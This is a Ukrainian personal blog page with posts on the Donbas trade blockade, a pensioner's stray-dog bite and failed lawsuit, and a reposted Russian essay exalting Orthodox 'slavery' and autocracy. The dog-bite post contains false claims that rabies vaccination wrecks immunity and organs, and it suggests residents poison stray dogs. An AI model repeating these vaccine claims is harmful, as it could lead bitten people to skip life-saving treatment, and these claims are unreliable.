Профіль

ORLIK

ORLIK

Україна, Козятин

Рейтинг в розділі:

Шукати в архіві

Важливі замітки

Останні статті

Свіжі фотографії

Свіже відео

Вид:
короткий
повний

Замітки:

всі
у блог
у співтовариства

ORLIK

ORLIK

Нові виклики

  • 17.02.17, 18:38
БОГДАН КАРПЕНКО: «ЩЕ РАЗ ЗА ТАК ЗВАНУ «БЛОКАДУ», КОТРА, НАСПРАВДІ, Є КЛОУНАДОЮ»
13
2
0
0
3
0
0
18

Просто рекордна кількість ідіотизму, який я почув від наших людей за останні дні: постійні маніпуляції різноманітних блогерів, провокаторів, та просто ідіотів, повторення взаємовиключних параграфів, травля тощо. Найгірше, що з розуму сходять, донедавна, цілком адекватні блогери.
Отже, ще раз за так звану «блокаду», котра, насправді, є клоунадою. Зберу всі думки, до яких прийшов, станом на сьогодні, читаючи мудрих людей:

1. В ОРДЛО живуть УКРАЇНЦІ, які є ЗАРУЧНИКАМИ терористів. Дані терористи (НЗФ) підтримуються Кремлем: армією РФ, військовою технікою РФ.

2. Коли ми будемо повертати ОРДЛО НА НАШИХ УМОВАХ (підкреслюю), потрібно буде усвідомлювати наступне: так, чимало з українців в ОРДЛО багато років знаходяться під тотальною пропагандою ворога, і потребуватимуть інформаційного лікування, що не змінює того факту, що вони українці, якщо ми говоримо «Україна — єдина». Так, більшість буде амністована. Ті, хто вчинив тяжкі злочини — будуть однозначно покарані (вбивства, катування, гвалтування тощо). Інших варіантів нема. З варіантами — посадити у тюрми мільйон людей — це до дурдому. Нас чекатиме важкий процес інформаційного лікування людей в ОРДЛО, для цього ми повинні будемо створити там здорове інформаційне поле, припинити срачі, дати шанс на оздоровлення. Подобається вам це чи ні, якщо ми говоримо про Єдину Країну, то ось вам те, що це значить.

3. Нема варіанту видавити терористів військовим шляхом, оскільки терористи, яких Кремль підтримує своїми військовими, і своєю військовою технікою — будуть прикриватись у Донецьку та Луганську жінками та дітьми.

4. Єдиний адекватний спосіб видавити терористів з ОРДЛО — примусити РФ припинити їх підтримувати. Цей пункт розпишу більш детально.



Читайте також:

Є два варіанти примусити РФ припинити підтримувати терористів, чим дати нам можливість вернути туди нашу владу, ліквідувавши НЗФ:
а) піти на умови РФ (визнати Крим російським, легалізувати терористів ОРДЛО, дати ОРДЛО право блокувати наші державні рішення тощо, тобто, втратити нашу незалежність)
Варіант «А» активно просувають різноманітні трояни, чи троянські кобили, до прикладу, Гадя. Чи ті ж ідіоти, які кричать «Порошенко закінчи війну!!», до прикладу, ЮВТ, тому що закінчити її зараз можна виключно нашою капітуляцією.
б) примусити РФ піти на наші умови:
Варіант «Б» реалізується завдяки створенню для Росії таких ситуацій, при котрих підтримування НЗФ ОРДЛО буде руйнувати їх економіку, наслідком чого стане дуже великий ризик втрати контролю Кремлем за своєю внутрішньою ситуацією — коли більше не вдаватиметься пропагандою скерувавати негативні настрої населення на чергову видуману причину, не через те, що хтось там підніме революцію, а через те, що внаслідок незворотніх негативних економічних процесів кримінал вийде за всі допустимі межі, спричинить внутрішній сепаратизм, який неможливо буде зупинити.
Ці нестерпні для Кремля умови — санкції. Відповідно, дії Кремля також цілком прогнозовані. Їм необхідно досягти ситуації, при якій санкції знімуть, при цьому можна буде і надалі підтримувати НЗФ ОРДЛО, та тероризувати Україну, аж поки вона не погодиться обміняти власну незалежність на «мир».
Як цього Кремлю можна досягти?
— Україна в односторонньому порядку виходить з Мінську. Нема Мінську — нема санкцій за Донбас. Сюди цілу групу провокаторів, і ідіотів, які до даної дурні закликають
— Україна сама визнає віртуальні республіки незалежними («відділимо Донбас і заживемо!!»). Тоді Санкції будуть вже на цих утвореннях, з якими Рф підпише договір про військову співпрацю, і буде тероризувати ними нашу країну цілком легально, маючи спільний кордон з линидири. Так, санкції світ накладе на ці віртуальні утворення, тільки їм вони будуть байдужі, там створиться суцільна військова база для терору на всі сусідні області в Україні.
— Спровокувати Україну на явне порушення Мінську, розкрутити ці порушення при допомозі надпотужної команди ручних журналістів і лобістів по всьому світу. Сюди купа наших місцевих ідіотів, які закликають порушувати Мінськ
— Знищити Україну інформаційно — нонстоп переконувати світ, що він тратить час, у нас страшна корупція, реформ нема, ця країна не може бути самостійною, там все погано, навіщо на неї тратити час, давайте робити бізнес з РФ, чому бізнес між ЄС і РФ від якоїсь України, яка суцільна корупція, повинен потерпати тощо. Тут ціла армія маніпуляторів, наших «журналістів», «антикорупціонерів» на допомозі
— Змінити владу в Україні на лояльну до себе. «Допомогти» обрати нам якусь модифікацію Додона, котрий піде на прямі перемовини з віртуальними «країнами динири», легалізує їх, і, таким чином, повідомить світу, що це внутрішній конфлікт. На цьому полі у нас грають дуже багато популістів. Один з варіантів — перевибори. Якщо не вдається — створювати одну кризу за іншою. Тарифи, блокади, оффшори3000, тощо. Валити рейтинг влади, яка не йде на умови РФ, щоб українці обрали лояльних Кремлю політиків на чергових виборах — троянів у вишиванках, чи відвертих проросійських — не важливо.
— Посприяти приходу до влади у країнах, які є нашими союзниками, лояльних до себе керівників, які приймуть проросійську позицію
Всі ці пункти реалізовувати при підтримці постійного негативу (вічної зради) в інформаційному полі країни, що дає шанс на бунт, сприяє росту рейтингу лояльних до Рф політиків т.д. Любими способами збільшувати кількість власних інформаційних площадок, розкручувати ідіотів-блогерів, які мислять лише простими рішеннями, підтримувати популістів політиків, мотивувати сюжети з цілодобовим поливанням лайном у сторону влади тощо. Замовчувати позитив, перетворювати позитив на негатив, відвертати увагу від позитиву. Популяризувати беззмістовне критиканство, називати критиканство критикою. Прикривати своїх спікерів свободою слова. Створювати своїм провокаторам медійний образ патріотів, і цим їх захищати при обвинуваченнях за їхні реальні злочини. Затравлювати тих, хто пробує надавати альтернативу суцільному негативу, компроментувати, оббріхувати тощо. Виставляти любого, хто підтримує владу у її прагненні вирвати країну з залежності від Кремля — платними працівниками, мінстецем, інфотітушками, антимайданом, українським ольгіно, будь-що, лиш би заперечити, що хтось може свідомо підтримувати владу по власним переконанням.

Ось з цим пунктом розібрались? Ідемо далі.

5. Нема ніякої торгівлі з терористами. Підприємства у ОРДЛО зареєстровані на вільній території, сплачують податки у бюджет України, за рахунок котрих, у тому числі, фінансуються ЗСУ.

6. Жодна блокада ОРДЛО неможлива, оскільки маємо сотні кілометрів неконтрольованого кордону з РФ. Все, що ми перекриємо — буде завозитись з РФ, і приносити кошти російським ділкам. На підприємствах ОРДЛО працюють українці, які заручники терору від НЗФ РФ. Якщо ми заблокуємо роботу цих підприємств, ми вдаримо не тільки по власній енергосистемі, і власному бюджету, ми вдаримо по українцях, які там у заручниках. При цьому ми ніяким чином не вплинемо на підтримку Росією НЗФ, навпаки, ми стріляємо собі у ногу:

а) узалежнюємось від російського газу через відсутність вугілля
б) втрачаємо податкові надходження
в) отримуємо біженців з ОРДЛО, яких потрібно забезпечити роботою на вільній території, а також дати їм стартові умови. Враховуючи, що ні першого, ні другого, ми забезпечити не можемо, ми отримаємо ще одну додаткову потужну кризу

7. Замість того, щоб щоразу повторювати одну і ту саму фразу: «А чому держава не замінила за три роки вугілля», вивчіть питання. Скільки коштувала б така заміна в наших умовах, скільки часу потребує. І ще дайте відповідь мені на наступне: при поверненні ОРДЛО нам знову станції переводити на той тип вугілля, від якого закликаєте позбуватись? За які кошти? І ще одне питання: а яку ми роботу дамо українцям при поверненні ОРДЛО, якщо зробимо ті шахти непотрібними? Ми зараз маємо відповідь?

8. Очевидно, що я не виключаю того моменту, що НЗФ РФ вибивають гроші з підприємств на території в ОРДЛО, хоча б, в обмін на те, що їх не ріжуть на метал. Але слухати ось ці байки, що завдяки даному рекету війна продовжується — більше нема сил. Ще раз, запишіть собі на моніторі: ВІЙНА ЧЕРЕЗ ТЕ, ЩО КРЕМЛЬ ПІДТРИМУЄ НЗФ У ОРДЛО. Війна НЕ закінчиться, коли ми заблокуємо там роботу наших підприємств. Цим ми тільки запустимо процес, коли НЗФ порозпилюють всі ці підприємства, спричиниться ще більша криза, від котрої будуть потерпати не терористи (НЗФ на утриманні у РФ, не буде рекету, будуть гроші за розпил на метал підприємств тд), а заручники, заручники — які є українцями. Наступне — при поверненні ОРДЛО ми отримаємо ось весь цей спадок зруйнованої після «блокади» інфраструктури, безробітних українців, куди ми всіх влаштуємо? Як будемо відновлювати економіку?

9. Нема ніякої контрабанди, тому що Донецьк і Луганськ — це Україна. І ніякого кордону всередині України бути не може.

Ось це вам коротко на всі істерики, які спричинили провокатори, та безвідповідальні політики, що вимагають блокувати Донбас.
І ще одне: чому тих мудаків, які на Донбасі вимагали приєднання до Росії — називають сепаратистами, а тих мудаків, які на вільній території вимагають відділити Донбас — сепаратистами не називають, хоча вони такими теж є?
Дякую за увагу
P.S. Для цезради, щоб не мучилась істерити кожен раз одне і те саме: так, я працюю на Ахметова, Авакова, Медведчука, Путіна, Порошенка, Яценюка, кремль, мінстець, АП тощо.


ORLIK

ORLIK

Памятаймо !

  • 20.01.17, 14:28

С того моменту коли для тебе Порошенко, Турчинов, Яценюк і Гройсман стали гірше за Путіна – ти стаєш на сторону ворога за схемою; « Ворог мого ворога мій ворог!»

                                           ПОМЯТАЙМО ПРО ЦЕ ДРУЗІ !  

ORLIK

ORLIK

Про те як я хотів судитися з місцевою владою

  • 06.11.16, 17:04
Цей матеріал я хочу надрукувати у місцевій прессі. Але вважаю що проблема ця існує і у інших містах. Тому прошу її обговорити.
Як я хотів судитися з місцевою владою
Я звичайний пенсіонер. якого не надто турбує те як працює місцева влада. Ну горить собі світло на ліхтарях по вулицях міста тижнями. Так то ж не з моєї кишені! Ну складають громадяни пакунки с сміттям під стовби. замість того щоб виносити до сміттєвоза. що кожного вечора їздить по під будинки. Звісно за таке свинство місцева влада повинна нещадно штрафувати. Та видно руки не доходять за більш серйозними справами.яких ми прості смертні просто не можим збагнути своїм недолугим розумом. І взагалі то ж не у мене в хаті… Правда потім бродячі пси ті пакети шматують і сміття віється по місту. Тут вже треба бути обережним. бо якщо приміром наступити на шкірку від банана. то можна послизнутись впасти і отримати травму... Але тут вже мусиш сам собі під ноги дивитися. До того ж дивитися під ноги і так мусиш уважно. аби у яму нога не попала бо такі в місті дороги І хідники. Які влада також якось не дуже помічає за більш серйозними справами. Загалом жити можна. якщо не думати про серйозні справи місцевої влади за якими вона не помічає неподобств у місті.. Але дістало мене за живе коли 28.10. 2016 я повертався скутером з дачі до дому близько 17 години і по вул Січових Стрільців біля магазину «Сонечко» на мене накинулась зграя бродячих псів.Були там не тільки шавочки. що шматують пакети зі сміттям «свідомих» громадян під стовбами, але і здорові собацюри. У однієї морда була майже на рівні моїх очей. А можливо мені так здалося з переляку і несподіванки. Коротше ближньму я правою ногою зацідив в морду. Але якесь стерво таки за ліву литку вхопило…. І тут мене таки дістало. У центрі міста областного підпорядкування на проїзжі частині вулиці ні сіло ні впало на людину нападає зграя бродячих псів! До цього я спостерігав. як подібна зграя по вулиці Героїв Майдану біля магазину «Грош» напала на велосипедиста. Та скількиж це терпіти можна! Сучка взагалі то приводить цуценят двічі на рік і не по одном… Тому якщо і далі все буде ідти подібним чином. то скоро бродячих псів у місті буде більше ніж людей! Я люблю тварин. Але себе і людей таки більше! Особливо діточок. Тому вирішив не мовчати і позиватися до міської влади. Зразу вирішив. що якщо відсужу якісь кошти то всі віддам на армію і зателефонував товаришу-юристу. Він порадив почати з того аби отримати довідку від лікаря про те що у мене дійсно є слід від укусу і я подався до лікарні. У лікарні лікар-травматолог на моє прохання видати справку про те що у мене є слід від укусу сказав. що справок таких лікарня не дає. А щеплення від сказу зробити мусить. Довідку про слід від укусу повинен надати суд мед експерт. А направлення до нього дає поліція. Щеплення безкоштовне мушу тільки придбати шприц і рукавички. Шприц і рукавички я придбав. але вакцину в той день медсестра ніяк не могла отримати. На моє щастя або горе з*ясується за 10 днів. Бо коли я прийшов до дому і прочитав у інтернеті про це щеплення. то вирішив його не робити тому. що спасли мене міцні джинси і скорость скутера завдяки якім пес тільки драпанув зубами ногу не прокусивши тканину. У цьому разі імовірність зараження мінімальна. а щеплення мають побічні ефекти. Впливають на роботу печінки ,нирок і нищить імунну систему. Одним словом. Якщо не робити шеплення. то ти або вмреш одразу. або будиш нармально жити.А якщо зробиш- то одразу не помреш. а помучишся деякий час лікуючи печінку нирки і ще купу хвороб що вчепляться до тебе завдяки выдсутносты іммунітету. Одна втіха. що помреш абсолютно тверезий! Бо після щеплень вживати навіть пиво суворо заборонено на протязі 9(девяти!) місяців.
У поліції мене зустріли як належить. Запропонували написати заяву.одібрали пояснення. Тільки направлення на суд.мед. експертизу обіціли дати на другий день. бо начальство десь поїхало у справах.
А наступного дня мені поясніли. що направлення на суд.мед. експертизу мені не дадуть. бо мене не побили а тільки вкусили. Вони навіть з прокуратурою радились! І видно дійшли висновку. що людей не можна тільки бити. А собаки (за логікою правоохоронців) можуть хоч на куски рвати. Порадили ідти назад у лікарню. Проходити курс лікування і брати справку про те що мене лікували. Сумніваюсь що така справка хоч щось важила б у суді. Бо на мій не профессійний розсуд .заключення про тілесні ушкодження мають таки давати відповідні уповноваженні на це органи. А це нічого що на мене пси напали на проїзжі частині вулиці у момент коли я керував транспортним засобом? Як наприклад з безпекую руху, панове правоохоронці? А як з гарантованим конституцією правом на безпечне життя? На захист честі і гідності? Чи з цим у нашій країні можна звертатись тільки до ГОСПОДА БОГА?
Так як я дуже сумнівався у тому. що справки з лікарні для суду мені буде досить і щеплення я вирішив не робити то мені нічого не лишилося як полишити свої спроби заставити місцеву владу зробити хоч щось з бродячими псами. які заполонили місто. Але дуже хотів би аби компітентні люди пояснили всім мешканцям міста. як потрібно чинити у подібній ситуації . Бо у місті складається ситуація при якій подібні напади будуть тільки множитись. І якщо у влади різних рівнів не вистачає розуму, бажання чи просто здорового глузду аби прийняти міри для захисту людей від розплодившихся бродячих псів. то можливо самім людям об*єднатись і самим потравити бродячу напасть. І не спішіть зараховувати мене у аморальні монстри. Давайте просто включим мізки і разом поміркуєм над тим за що і чому боролись так званні захистникі тварин. коли вимагали приняти закон про так званний захист тварин і чим думали ті хто цей закон приймав. Отже для блага песиків наші захистникі тварин і законодавці вирішили відловлювати песиків. Без анестації видаляти їм гениталії , без анастезії чіпляти на вухо бляшку і викидати на ті самі смітникі, аби шукали собі поживу. Це так виходить у наших умовах. Але «захисники тварин» у нас люди цивілізовані. Тому ввіажають. що на волю песиків випускати не можна. а воліють аби песиків розміщували у притулках для бродячих тварин! Тобто замикати їх у концентраційні табори довічно! А тепер я просив би шановних «захисників тварин « відповісти собі і суспільству на питання;» Ви усю цю гидоту придумали дійсно дбаючи про тварин чи про власну пиху?І чи самі воліли б мати те життя на яке прирікаєте тварин?!»Я б особисто .як і 99% психічно здорових людей.на місці песиків яких ви типу захищаєте. волів би тихо і безболісно вмерти - чим жити тим життям .яке ви мені влаштували керуючись своєю хворою уявою.
Передчуваю істеричний вереск про ставлення до тварин у «цивілізованному світі». Тому мушу повідомити. що у цивілізованному світі , в першу чергу дбають про людей і захищають їх комфорте існування. І зміст ставлять вище форми. На наших теренах,як у дикунів форма завжди була вище за зміст.
Тому наприклад. у Англії щоб придбати песика. ти мусиш зібрати купу паперів про себе включно зі згодою сусідів і зареїструвати песика аби товаристово захисту тварин постійно перевіряло як ти ту тварину утримуєш. І якщо раптом ти вирішиш тваринку викинути з свого помешкання. бо вона тобі набридла ,то мало тобі не покажеться! От тоді суспільство має відповідальністі за долю «братів наших менших» і бродячих знедолених тварин у таких країнах дуже мало. Але у житті все трапляється і для тварин. що залишились без догляду суспільство створює цивілізовані притулки. (Як до речі і для людей). А у нас одні піаряться на горі тварин. Інші на цьму горі заробляють(бо безкоштовно стирілізацію ніхто робити не буде) треті бездумно приймають дебільні закони. Четверті на усе те байдуже дивляться . А в кінцевому результаті у тій чи іншій мірі страждають всі члени суспільства.
Е. Буровський

ORLIK

ORLIK

Про православних рабов

  • 31.10.16, 14:25
Главная проблема современного Православия и, собственно говоря, России (потому что России нет без Православия) – это то, что мы разучились быть рабами. Христианство – это религия сознательного и добровольного рабства. Рабская психология – это не какой-то скрытый подтекст, а норма мироощущения для православного христианина. Всё современное общество поклоняется идолу социальных прав и свобод. И только Православная Церковь упорно утверждает, что человек – это бесправный раб Божий. Поэтому так неуютно себя чувствует современный «свободомыслящий» человек в православном храме, где всё проникнуто архаикой рабства. Как диссонирует для его уха обращение к священноначалию «Святый Владыко», «Ваше Высокопреосвященство», «Ваше Святейшество», «ис полла эти Деспота» (многолетие епископу), а тем более постоянное именование христианами себя в молитвах «рабами Божьими». Что стоит за понятием «рабство Божие», нам раскрывает Евангелие. Раб ничего не имеет своего. Он живет только милостью своего Господина, Который, «посчитавшись» с ним, находит его либо добрым рабом, исполняющим Его повеления и достойным еще большей милости от своего Владыки, либо лукавым и ленивым, достойным строгого взыскания. Рабство Божие лишает христиан даже привязанности к самым близким – мужу, жене, родителям, детям. Они не наши – они тоже рабы нашего Господа.И наш Хозяин требует быть привязанным только к Нему и быть готовым в любой момент без сожаления разлучиться не только с самыми дорогими людьми, но и с самой жизнью, которая принадлежит, не рабу, а всецело Богу.

И здесь не могут помочь модернистские горделивые утверждения: «раб Божий – значит ничей раб». Потому что в христианской Традиции раб Божий – значит раб Царя, раб Государства (от слова Государь), раб судьи, раб своего начальника, раб чиновника, раб полицейского. Первоверховный апостол Петр так наставляет христиан «Итак будьте покорны всякому человеческому начальству, для Господа: царю ли, как верховной власти, правителям ли, как от него посылаемым для наказания преступников и для поощрения делающих добро… как рабы Божии» и далее по тексту: «Рабы, со всяким страхом повинуйтесь владыкам, не только благим и кротким, но и строптивым. Ибо то угодно Богу, если кто, совести ради Божия, переносит скорби, страдая несправедливо» (1 Пет. 2, 13-21).Ему вторит святой апостол Павел: «Всякая душа да будет покорна высшим властям, ибо нет власти не от Бога; существующие же власти от Бога установлены». И угрожает, что всякий «противящийся власти противится Божию установлению. А противящиеся сами навлекут на себя осуждение» (Рим.13, 1-2). В другом месте апостол Павел дает следующее наставление: «Рабы, повинуйтесь господам своим по плоти со страхом и трепетом… как рабы Христовы, исполняя волю Божию от души, служа с усердием, как Господу, а не как человекам» (Еф. 6,5-6). И это относилось не только к тем, кто был рабом по своему социальному положению. Наш Господь повелел всякому христианину в земной жизни стремиться преуспевать именно в рабстве, если мы хотим получить первенство от Него: «а кто хочет между вами быть большим, да будет вам слугою; и кто хочет между вами быть первым, да будет вам рабом» (Мф. 20, 27).

Что же касается свободы во Христе, то она освобождает христиан не от рабства человеческого, а от греха: «Тогда сказал Иисус к уверовавшим в Него Иудеям: если пребудете в слове Моем, то вы истинно Мои ученики, и познаете истину, и истина сделает вас свободными. Ему отвечали: мы семя Авраамово и не были рабами никому никогда; как же Ты говоришь: сделаетесь свободными? Иисус отвечал им: истинно, истинно говорю вам: всякий, делающий грех, есть раб греха» (Ин. 8, 31-34). Более того, эта христианская свобода обязывает каждого христианина не из страха, а с любовью рабствовать (по ц.-сл. «работать») ближним: «К свободе призваны вы, братия… но любовью работайте друг другу» (Гал. 5, 13).

Итак, наши критики правы – мы очень удобная религия для государства. Поэтому христианство и созидало великие империи. Ибо только православные рабы способны на великий подвиг самопожертвования во время войны и мира. Даже СССР смог восстановиться в пределах Российской империи, только благодаря потенциалу рабской психологии, еще по инерции сохранявшейся от Православия на подсознательном уровне в русском народе.

Сегодня Россия вновь мечтает о великодержавности. Но для православного сознания историческое Российское величие основывалась исключительно на трех китах: Православие, Самодержавие, Народность. Святитель Феофан Затворник в свое время пророчески говорил, что, «когда ослабеют или изменятся сии начала, русский народ перестанет быть русским». Однако следует добавить, что эти начала могут жить исключительно в народе – рабе Божьем. Именно в рабском служении русского народа Богу, Его Церкви, Его помазанникам, царям и архиереям, кроется тайна величия исторической России. Но где найдешь сегодня даже лукавых рабов? Мы, называющие себя православными, представить себе не можем, насколько мы разные по мировосприятию с верноподданными нашими предками. И разница кроется в том, что из нас революционеры-демократы всё же по капле окончательно выдавили рабское сознание. В нас настолько вдолбили, что рабы не мы и мы не рабы, что самая суть христианства для нас стала чуждой. С отречением от Самодержавия мы отреклись от принципа, что всякая власть от Бога и провозгласили, что власть от народа. С установлением «народной» власти мы присвоили себе землю, недра и вообще всё благосостояние нашего «народного государства», возомнив, что это не Бог даровал нам землю, а наши доблестные предки завоевали себе место под солнцем. А затем, в эпоху перестройки и приватизации, мы пришли к «очевидной» вещи: государственно-народное – значит ничье и утвердили примат частной собственности. Каждый почувствовал себя хозяином жизни в той мере, насколько распространялась его частная собственность. В результате новые буржуа, которые гордо стали именовать себя «средним классом», ратуют за «стабильность», связанную с незыблемостью «приватизации», а обделенные массы пролетариата требуют национализации, тайно лелея надежду на новый передел в духе булгаковского Шарикова. Цикл перерождения русского народа-раба через горнила советского и постсоветского общества в нового «свободного» человека эпохи рынка – человека-потребителя – завершился. И это общество мнящих себя «не тварью дрожащей, а право имеющим», в большинстве своем дерзают называться «русским народом» и «православными христианами».

Но человек эпохи всеобщего потребления не способен на великодержавность своих предков, так как в государстве видит не образ Царства Небесного, а гаранта реализации своих потребительских прав на свободу, равенство и братство. Государство для него тем милее, чем более оно позволяет ему удовлетворять свой потребительский спрос и чем менее связывает его обязанностями и ограничениями. Не сильной армией ныне определяется благополучие государства, а количеством банков с низкой кредитной ставкой и маленькими налогами. Интересы государства – это не интересы человека потребителя. Государство для него – необходимое зло. Необходимое – потому что дает пенсию и социальные льготы. Зло – потому что забирает кровное его – налоги и коммунальные платежи. Ресурсы и средства производства в сознании потребителя принадлежит народу (т.е. ему), а государство паразитирует на всем этом. У человека- потребителя нет патриотизма по отношению к государству. То, что называется сегодня патриотизмом, – это форма без содержания. Наш патриотизм нынче приятен и не напряжен. Нас объединяет в патриотическом порыве не общность истории и происхождения и, тем более, не государство и вера. Всё это нас скорее разъединяет. Нас объединяют спортивные зрелища и телевизор. Патриотичным у нас считается болеть за свою футбольную команду или переживать за выступления нашей сборной на Олимпийских играх. Легко и приятно быть патриотом, сидя с бутылкой пива и поп-кормом у телевизора или на трибунах стадиона.

Единственное, где человек потребления готов рисковать, жертвовать и убивать – это в борьбе с врагами своего светлого комфортабельного будущего. Ради этого толпа обывателей готова даже стать революционерами, хотя и революции в обществе потребления совершаются исключительно за деньги и за обещания доступности еще больших благ. Украинцы ради обещанного европейского рая скакали в революционном угаре на майдане и расстреливали мирное население на Донбассе. В России грозят национальной революцией и громят нацменов из-за страха, что они забирают рабочие места.

Не так относились к государству рабы Божии. Для них государство – это то, что принадлежит Государю, Царю. Царская власть от Бога и царь, как Божий помазанник, является источником благосостояния державы: «Царь дает тебе монету, ознаменованную его властию… Царь дает тебе закон и управление… Царь дает тебе суд и правду… Царь доставляет тебе общественную тишину и безопасность от врагов…» (святитель Филарет Московский (Дроздов)). Служба государству, служба Богу. Плата налогов государству – заповедь Божия («кесарю кесарево»)[1]. Раб не живет платой за свою службу и работу, он живет милостью со стороны Государя и надеждой на Царство Небесное. Его обязанность перед Богом – отдать свою жизнь за Веру, Царя и Отечество, будь то на войне или в мирное время.

Когда западная пропаганда критикует современных русских за рабское сознание – не верьте, мы уже такие же до мозга костей демократичные, как и они, начиная от либералов и кончая православными монархистами. В нашем обществе, точно так же как и в западном, безраздельно властвует «одномерный» человек потребления.

Для этого достаточно посмотреть на наше отношение к властям – от начальника на работе до Президента в миру или от священника до Патриарха в Церкви. Оно сугубо потребительское. Везде мы ропщем, везде мы недовольны, везде мы обижены. Если евангельский Царь считается со своими рабами, как со своими должниками, то мы предъявляем счета властям, как бесконечно нам обязанным своей властью.

Если даже на словах мы ненавидим демократический строй Российской Федерации, то на деле только на него мы и согласны. Потому что наше сознание потребителя может чувствовать себя свободным только тогда, когда выбирает. Выбор товара – вот наша свобода. А демократия для нас – это рынок, где мы выбираем власть, как товар в магазине. И, как в магазине, покупатель всегда прав, так и на выборах – прав всегда избиратель. Не дай Бог, кому-нибудь заикнуться, что всякая власть от Бога, или хотя бы попущена Богом за наши грехи, он нарвется на бурю негодования, как справа, так и слева. Ведь как может власть «воров и бандитов» быть от Бога? И без толку говорить, что это самая что ни на есть власть народная. Тут же объявят, что никто эту власть не выбирал, а выборы были сфабрикованы. Иначе и быть не может. Народ у нас мудрый. Голос народа у нас – голос Божий. А народ-бог не может ошибаться, его могут только обмануть… Поэтому сколько бы ни ругали продажность властей, сколько бы ни желали для России «нового Сталина» или «царя батюшки», никто из сторонников «сильной власти» на деле не согласится отказаться от демократии. Ведь все апеллируют к народу, которому «демократические выборы» позволяют постоянно ощущать себя не рабом государства, а хозяином, и всегда дают ответ на извечные русские вопросы «что делать?» (это все новые и новые прожекты в предвыборных программах партий) и «кто виноват?» (это нынешнее правительство, обманувшее народ).

Теперь зададимся вопросом: а выберет ли наш народ демократическим путем Господа нашего Иисуса Христа, который призывает каждого к несению своего креста, к скорбям и даже смерти за Него? Скорее, мы в очередной раз услышим: «Распни, распни Его!». Потому что христианские скорбь и крест – это удел рабской жизни. В то время, как свобода для человека-потребителя – это всеобщее право на человеческое комфортабельное счастье. Вот и подменяет современный homo sapiensверу в Бога верой в права человека, где он, а не Бог, мерило всех вещей. Бог Царь ему не нужен – ему нужен Бог демократ, которого можно выбирать, как и всякую власть на демократическом рынке.

Рабы не выбирают. Рабы Господина принимают. Епископа не выбирают – его принимают от Бога. И Царя не выбирают – его принимают от Бога (в таком смысле и понималось избрание на царство Михаила Федоровича Романова в 1613 г., который, согласно «Утвержденной грамоте», именовался «Богоизбранным Царем»). Только для рабского сознания действует новозаветный принцип, что всякая власть от Бога, и только христианское рабское служение власти может стать той почвой, на которой возродится Самодержавие. Святитель Николай Сербский говорил, что хороший Царь не тот, который должен народу, а которому должен народ. Не Царь был обязан народу, а народ, как раб, чувствовал себя обязанным Царю, который для него был Образом Царя Небесного (свят. Димитрий Ростовский). В православной России благосостояние измерялось не потребительским раем для обывателя, а государственной мощью царства и святостью Церкви. Чем сильнее царское войско, чем больше храмов и монастырей в стране, тем благополучнее считается царствование монарха, и тем ближе к Небу на земле ощущают себя верноподданные рабы Божии. Раб Божий не ищет наград земных, он ищет благ небесных. Путь земной для христианина-раба – это путь Креста и скорбей. И какое бы место в обществе раб Божий ни занимал – от царя до холопа и от патриарха до монаха – всё это лишь место скорбей. Скорбями не наслаждаются – ими спасаются.

Некоторые могут возразить, что «власть от Бога» – это исключительно царская власть. Однако, наш современник-потребитель, который привык, что ему все должны, будет и монарху предъявлять претензии, как сегодня предъявляет эти претензии к реальной богопомазанной власти – священноначалию.

Когда сегодня заходит вопрос о Церкви, то тут же всплывает вопрос о финансах. Относительно светского общества, где все ценности сегодня измеряются деньгами, это понятно. Но почему нас, современных христиан, так эти вопросы задевают за живое? Почему нас самих, православных, так раздражает благосостояние духовных отцов? Наверное, потому, что «отцами» мы их называем по старинке, соблюдая этикет. Реально, не отцов мы в них хотим видеть, а лакеев собственных «духовных» потребностей. А лакеям негоже ездить на машинах, им нужно ходить пешком, или, по крайней мере, для пущей важности ездить на ослах. А сколько было сказано, что храмы превратились в дома торговли требами, свечами, иконами и прочими «духовными товарами»… Но это не священники вдруг стали торговцами. А это современные христиане превратились из рабов Божиих в религиозных потребителей. А спрос, как известно, определяет предложение. Потребитель-христианин не может жертвовать, а тем более давать милостыню. Это всё противоречит товарно-денежным отношениям. Пожертвовать – значит отдать должное, но должниками являются рабы, а потребитель – он не раб. Человек рынка может чувствовать должником себя только перед банком, но не перед Богом. Дать же просто милостыню – значит наступить на горло своей жадности. А жадность – это душа и плоть рыночной экономики. Кто пытался убрать в храме ценники, тот меня поймет. О, как часто приходилось слышать требования назвать конкретную стоимость требы или свечки, вплоть до ухода в другой храм. Христианин-потребитель может только покупать или просто бесплатно брать. Это ему и проще и уютнее. Он заплатил и теперь может требовать качественного обслуживания, а в случае чего может упрекать церковников в жадности и безбожии. Ну а бесплатная раздача в храме, например, иконок – это в глазах наших современников лишь супер-акция по завлечению покупателей, и христианин-потребитель здесь не чувствует ущемления своей совести, что берет бесплатно и ничего не жертвует взамен. Ну что говорить о прихожанах, когда священники тоже являются детьми своей эпохи и тоже начинают смотреть на Церковь, как на источник доходов. О, сколько раз можно было слышать от братьев-сослужителей ропот на священноначалие за «налоги» и «поборы». Это тоже показатель отсутствия Божьего рабствования. Ведь архиерей хозяин прихода, а не священник и прихожане. Бог преподает нам свое благословение через архиереев. Священнодействия действительны благодаря правящему епископу, а не личному благочестию священника. Это мы питаемся от милостей Владыки, а не Владыка от наших налогов. Мы обязаны отдавать ему все, и с благодарностью довольствоваться тем, что он нам даст от своей милости. Когда архиерей посещает приход, мы должны «поспешить» отдать последнее, чтобы достойно встретить в лице епископа самого Спасителя. Подобно той вдовице, которая «поспешила» приготовить последнее, в ущерб себе и своим детям, дабы принять пророка Божьего Илию. В этой «поспешности» встретить человека Божьего, а тем более образ Самого Бога в лице архиерея, и проявляется, согласно святителю Иоанну Златоусту, наша добродетель и богоугождение. Кто же восполнит нам наши убытки? А Кто всегда их восполнял? Кто напитал вдовицу, принявшую пророка Илию, Тот и нам через благословение архиерея подаст все необходимое. Если мы в эту истину не верим, то верующие ли мы?

